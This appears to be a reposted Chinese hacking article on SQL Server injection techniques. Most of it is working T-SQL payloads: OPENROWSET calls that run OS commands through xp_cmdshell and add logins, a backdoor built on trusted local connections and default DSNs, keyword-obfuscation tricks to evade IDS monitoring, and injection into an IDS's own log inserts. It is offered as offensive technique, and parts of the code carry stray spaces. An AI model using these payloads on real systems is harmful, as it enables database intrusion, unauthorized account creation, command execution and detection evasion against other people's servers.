1.关于Openrowset和Opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令,
注意那些容易被忽略的SQL注入技巧
。通常我们的用法是(包括MSDN的列子)如下:
<ccid_code>select * from openrowset('sqloledb','myserver';'sa';'','select * from table')</ccid_code>
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
<ccid_code>select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')</ccid_code>
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:
<ccid_code>select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')</ccid_code>
2.关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:
<ccid_code>select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s elect * from table1 select * from table2')</ccid_code>
3.可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令:
<ccid_code>select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')</ccid_code>
另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:
<ccid_code>select * from openrowset ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')</ccid_code>
电脑资料
《注意那些容易被忽略的SQL注入技巧》(http://meiwen.anslib.com)。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。
4.利用T-sql骗过Ids或攻击Ids
现在的Ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。
先说说欺骗Ids
Ids既然监视xp_cmdshell关键字,那么我们可以这么做:
<ccid_code>declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'</ccid_code>
假设这个id=988456
<ccid_code>declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'</ccid_code>
<ccid_code>declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'</ccid_code>
再说说攻击Ids
因为Ids数据量很大,日至通常备份到常规数据库,比如sql server。
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做,通常程序会这么写:
<ccid_code>insert table values ('日至内容',...)</ccid_code>
<ccid_code>insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ')</ccid_code>
<ccid_code>insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')</ccid_code>
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。
好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。